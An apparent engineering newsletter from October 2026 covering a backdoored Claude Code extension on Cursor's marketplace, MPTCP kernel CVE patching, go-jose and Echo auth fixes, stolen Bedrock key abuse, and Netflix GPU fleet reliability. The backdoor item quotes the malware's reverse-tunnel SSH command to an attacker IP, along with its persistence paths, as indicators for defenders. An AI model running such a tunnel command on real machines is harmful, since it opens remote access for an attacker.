Daily Engineering Intelligence

Technology Newspaper

← Back to Home

Engineering Intelligence β€” Saturday

October 31, 2026

πŸ”₯ What Changed

A normal Saturday with five items. The urgent one is personal: if you used Claude Code inside Cursor on macOS or Windows on 10-29, check for the planted `svc-telemetry` SSH key. CVE-2026-98432 is now fixed on Amazon Linux but still open on RHEL and Ubuntu. go-jose and Echo ship auth fixes, and Echo's changes client-IP behavior. Wiz connects this month's AI-platform breaches to fast Bedrock key abuse. Netflix's GPU-fleet reliability write-up is the weekend read.

Also patched: Cloudflare's eMudhra follow-up (10-30 23:08 IST) found that the weak keys were literally small integers (4, 56, 66, 115…). About 22,000 weak-key handshakes have hit its edge since 10-21, about 160 of them presenting forged certificates with unrelated SANs. The first forged certificate was created within an hour of Mozilla's bug going public. Cloudflare saw no interception. More than half of probes from large networks, and 30–40% of Android WebView clients, still accept the bad chain, and patching has been flat since the first weekend. Traefik v3.7.17 bumps go-jose 4.1.6, brotli 1.2.7 and x/net 0.62.0, and adds a header-value limit option. Mimir 3.2.4/3.1.9 pick up the same go-jose/x/net bumps. mcp-go v1.5.0 adds bounded reads and OAuth localhost-callback fixes. Envoy Gateway v1.10.0-rc.1 and Istio 1.32.0-rc.1 are out. GitHub-reviewed Go advisories: Kubeflow Pipelines run-log endpoint pod-log exposure (GHSA-wg5q-x4j9-qm54), plus an old Fiber v2.52.1–2.52.2 CORS wildcard issue (GHSA-g5jq-qmqr-qrwf, fixed long ago in 2.52.3). Kafka: new JIRAs KAFKA-21397 (a single batch larger than the quota burst can stall a throttled consumer indefinitely, filed by Jun Rao) and KAFKA-21402 (the transaction coordinator can install partially loaded state); 3.9 CVE backports continue. GitHub had three incidents on 10-30: a burst of errors across services from an overloaded component (19:51–20:00 IST), delays in Actions, Pages and webhooks (23:20 IST, mitigated 00:02 IST, resolved 00:53 IST), and Dependabot alert errors. RCAs are pending. No OCR release was worth a slot today (MinerU 4.1.3 and the MiniCPM-OCR SDK 1.0.3 are point releases).

Holds: Go 1.27.4/1.26.11 (still not pre-announced; go.dev/dl still lists 1.27.3/1.26.10; milestones show 22 and 20 open issues); Go #82717 MPTCP default (debate above, no decision); CVE-2026-98432 RHEL/Ubuntu kernels; x/oauth2 CL 854305 (no review activity since 10-29); Go #82374, #82497 (CL 855561), #82547, #82677, #82682/#82685 unchanged; #82472 (watsonnsw says CL 856483 fixes it and will close the issue once it merges); go-jose v3 fixes; Kafka 3.9.3 (backports in progress); GitHub RCAs for 10-21/22/26, 10-28, 10-29 Copilot and the three 10-30 incidents; Northflank root cause. Alternates: Azure API Connections cross-tenant compromises (Binary Security, five criticals, fixed, posted 10-02), Google OAuth DPoP-bound refresh tokens, SkyPilot, Meta JiTTesting, Cloudflare DDoS Q3, Orange Tsai's Edge chain, Mistral Large 4, Strimzi 1.3.1-rc1, Twisted HTTP/2 GHSA, bunny.net certificate reissue after a hosting-provider compromise. Closed: Echo v4 fix for GHSA-99jh/GHSA-246p (now shipped), CVE-2026-98432 on Amazon Linux.

🚨 Cursor's extension marketplace served a backdoored Claude Code extension (2.1.312/2.1.313, macOS and Windows) for about 11 hours: it plants an SSH key labelled svc-telemetry and a persistent reverse tunnel

From about 2:27am to 1:35pm PT on 10-29 (β‰ˆ14:57 IST 10-29 to 02:05 IST 10-30), Cursor's VS Code extension marketplace distributed tampered builds of Anthropic.claude-code 2.1.312 and 2.1.313 for macOS and Windows. Anthropic did not build them. A loader injected into extension.js runs when the extension loads. It reports hostname, username, OS, home path, working directories, git email, public IP and environment-variable *names* to 134.209.82[.]225. It appends an attacker Ed25519 key with the comment svc-telemetry to ~/.ssh/authorized_keys, tries to enable the local SSH server, and keeps a reverse tunnel (ssh -N -R '*:0:localhost:22' as tunnel@134.209.82[.]225) retrying about every 60 s. Persistence is a LaunchAgent com.apple.sysmond on macOS (plus ~/.config/.smt, .smtk and $TMPDIR/.stk_*), or a SysMon scheduled task with a Startup sysmon.cmd fallback on Windows. Cursor pulled the versions, shut down and rebuilt the marketplace, rotated its keys, and got the attacker server taken offline. It says turning on SSH needs admin rights, so on most hosts the tunnel login could not have worked, but the key, the persistence and the host report still landed. Microsoft confirms the packages never went through the VS Code Marketplace or npm, and that Anthropic's systems weren't compromised. The Verge reports Cursor's estimate of up to about 5,000 installs, and Anthropic has published 2.1.314.

Why you care: Impact: a backdoor that survives uninstalling the extension, delivered through a trusted auto-update channel to developer laptops, which hold SSH keys, cloud credentials and git tokens. Who's affected: anyone who installed or auto-updated Claude Code inside Cursor on macOS or Windows during that window. VS Code Marketplace, Open VSX and npm installs are not affected. Action: run grep -qs svc-telemetry ~/.ssh/authorized_keys && echo FOUND (on Windows, also check C:\ProgramData\ssh\administrators_authorized_keys) and look for ~/Library/LaunchAgents/com.apple.sysmond.plist. If anything turns up, run Cursor's remediation script, consider rebuilding the machine, and rotate every credential reachable from it, working from a clean machine. The general lesson for an agent-heavy setup: IDE extensions run with your full user privileges and auto-update silently, so pin versions or turn off auto-update for high-privilege extensions.
Read Cursor's security notice β†’

CVE-2026-98432 (MPTCP remote root) update: Amazon Linux 2 and the AL2023 default kernel are now fixed, RHEL rates it Critical with no fix yet, Ubuntu is still in progress, and the MPTCP maintainer doubts it works outside a lab

This follows up yesterday's 🚨 item. Amazon Linux shipped fixes on 10-30. On AL2 Core, run yum update --advisory ALAS2-2026-4065 (AL2 extras kernel-5.4/5.10/5.15 were also fixed 10-30). For the AL2023 default kernel, run dnf update --advisory ALAS2023-2026-3365 --releasever 2023.12.20261102. Both need a reboot; kernel6.12/kernel6.18 were already fixed. AWS rates it Important (CVSS 8.1, high attack complexity). Red Hat lists RHEL 8/9/10 and OpenShift RHCOS as Affected and rates it Critical, but has no erratum yet. Ubuntu still shows every linux/aws/azure/gcp/gke kernel as "Vulnerable, work in progress". Akamai/Linode is deploying platform mitigations for "the underlying known attack vector", tells customers to apply upstream OS updates, and reports no exploitation seen. On Go #82717 (flip the MPTCP-by-default listener), the arguments sharpened overnight. Damien Neild asked what the case for MPTCP-by-default actually is, noting Go is unique in enabling it. Ian Lance Taylor sees no reason to disable it. MPTCP maintainer Matthieu Baerts says the published repro ran in a lab, that IPv4 packets with IP options are dropped on many networks, so exploitation is "very unlikely" outside one, and he questions the 9.8 score. No decision yet.

Why you care: If your EKS or EC2 nodes run AL2 or AL2023, the kernel stopgap can now come off once nodes are patched and rebooted; check with uname -r after the update. RHEL/OpenShift and Ubuntu nodes are still exposed, so keep GODEBUG=multipathtcp=0 (or sysctl net.mptcp.enabled=0) and the edge drop of IPv4 packets carrying IP options there. The maintainer's point backs that edge filter as a strong mitigation, but it doesn't replace the kernel fix. Watch #82717: if Go changes the default in 1.28, ss -Mltn output on your hosts will change without any code change on your side.
Read the Amazon Linux 2 advisory β†’

Two Go auth/identity libraries ship fixes that need attention: go-jose v4.1.7 fixes five advisories, including JWE unprotected headers overriding empty protected ones, and Echo v4.16.3 stops trusting client IP headers by default

go-jose v4.1.7 fixes five repository advisories, all affecting ≀v4.1.6. The three medium ones: GHSA-p9j4-2j95-j4rv β€” header merging in ParseEncrypted/ParseEncryptedJSON tested a protected header's *value* instead of whether the key was present, so a protected header set to "" or null could be overridden by an unprotected (unauthenticated) one. GHSA-v6h2-qj3f-2h6v β€” CPU DoS via huge RSA moduli in x5c during Header.Certificates(). GHSA-c67m-wr4h-2ccg β€” quadratic CPU from many JWS signatures or JWE recipients, now capped. Two low ones: a Thumbprint panic on RSA e=0 and a json panic on embedded unexported fields. v4.1.7 also deprecates ParseEncrypted/ParseSigned; as with this week's earlier go-jose advisories, no v3 fix is listed. Echo v4.16.3 finally closes the v4 side of CVE-2026-118653 and CVE-2026-118651, which earlier had no v4 fix. With Echo#IPExtractor unset, Context.RealIP() now returns the connection peer instead of trusting X-Forwarded-For/X-Real-IP, and the proxy middleware always derives upstream X-Real-IP from RealIP().

Why you care: go-jose sits under a large share of Go OIDC/JWT stacks (coreos/go-oidc, Dex, Vault, Kubernetes components), so bump to v4.1.7 and check go list -m all | grep go-jose for leftover v3 users, which stay unpatched. The Echo upgrade is a behavior change: behind a load balancer or ingress, every client suddenly has the proxy's IP, which collapses rate-limit buckets and breaks IP allowlists and logs. Before upgrading, set e.IPExtractor = echo.ExtractIPFromXFFHeader(...) with trust ranges limited to your own proxies, and make the outermost proxy overwrite client-supplied identity headers.
Read the go-jose v4.1.7 release β†’

Wiz's "Black October": nine AI developer platforms breached this month, including Northflank yesterday, and stolen Bedrock keys were being used within 30 minutes; IAM scoping decided how much damage they did

Wiz lists nine October incidents at platforms that store customers' AI credentials: Fireworks AI (10-06), Andromeda, Zeabur, Lightning AI, OpenCode, Railway (10-20), Warp, CommandCode and Northflank (10-30). In two Bedrock LLMJacking cases, the first unauthorized call came within 30 minutes of the reported credential access at the vendor: a single InvokeModel sweep from a residential IP that tested stolen keys across many organizations. Case A: the key's policy allowed global.* cross-region inference profiles, so about 800k calls over 30 hours were spread across regions; about 90% succeeded and only about 6% were throttled. About three quarters of the successful calls went to Opus models. Case B: the key allowed only us.* profiles, so the reseller pool's global.* calls failed for hours until a checker found working us.* IDs. It then made about 1.7M calls in 13 hours, with nearly all of the unsuccessful ones throttled by regional quotas. Wiz puts the two cases at likely more than $100k at list price and links the traffic to key-reselling operations. Northflank's status page (a Kubernetes-based PaaS) tells all customers to assume every environment variable was decrypted and to rotate workload, secret-group and global secrets. It has enabled Postgres/MongoDB secret rotation and audit logs for everyone, and reports customers' AI keys being used.

Why you care: This is an IAM lesson as much as a breach report. Narrow inference-profile scoping and regional quotas cut the abuse in Case B, while a global.* grant let Case A run almost unthrottled. For keys you hand to any PaaS or agent platform: give each platform its own key, restrict models, profiles and regions, set billing or quota alarms, and prefer short-lived or role-assumed credentials over long-lived keys in environment variables. If you have keys on Railway, Northflank or any other platform on that list, rotate them now and review provider billing for the past two weeks.
Read Wiz's analysis β†’

πŸ“š Worth Your Time

Netflix on keeping GPU training fleets healthy on Kubernetes: node-problem-detector checks every 30 s, graded Karpenter remediation, and elastic checkpointed jobs took job success from ~98% to over 99.5%

Large training jobs run as gangs (hundreds of GPUs in lockstep for weeks), so one bad GPU, NIC or link stalls or kills the whole job. Netflix splits reliability into four layers. (1) Node health: a node-problem-detector agent on every GPU node runs DCGM and network-adapter checks every 30 s and turns results into Kubernetes node conditions, the same mechanism behind NotReady. (2) Scheduler/platform: preflight validation of GPU compute and network bandwidth before a machine takes work, graded remediation (kill job β†’ GPU reset β†’ reboot β†’ replace) driven by taints and Karpenter, and task- and job-level retries. (3) Training loop: TorchElastic workers plus frequent checkpoints, so losing a machine costs minutes, not a restart. (4) Observability: SLOs and failure attribution, so only platform-caused failures are retried automatically and slow ranks are identified rather than averaged away. MIG partitions serve small inference jobs, and allocation is moving from device plugins to Dynamic Resource Allocation once Karpenter supports it. Reported results: more than 99.95% GPU-node availability, and job success up from ~98% to above 99.5%.

Why you care: This is a solid reference design for health-gated scheduling in any lockstep distributed system, not just GPUs: health checks become node conditions that controllers act on, failures are attributed before deciding whether a retry is safe, remediation escalates step by step with a cap, and losing a member is made cheap instead of rare. It maps directly onto Kafka/consumer-group or Raft fleets where one slow member sets the pace. It's also the most concrete public account of running Karpenter, node-problem-detector and DRA together on GPU nodes.
Read on the Netflix TechBlog β†’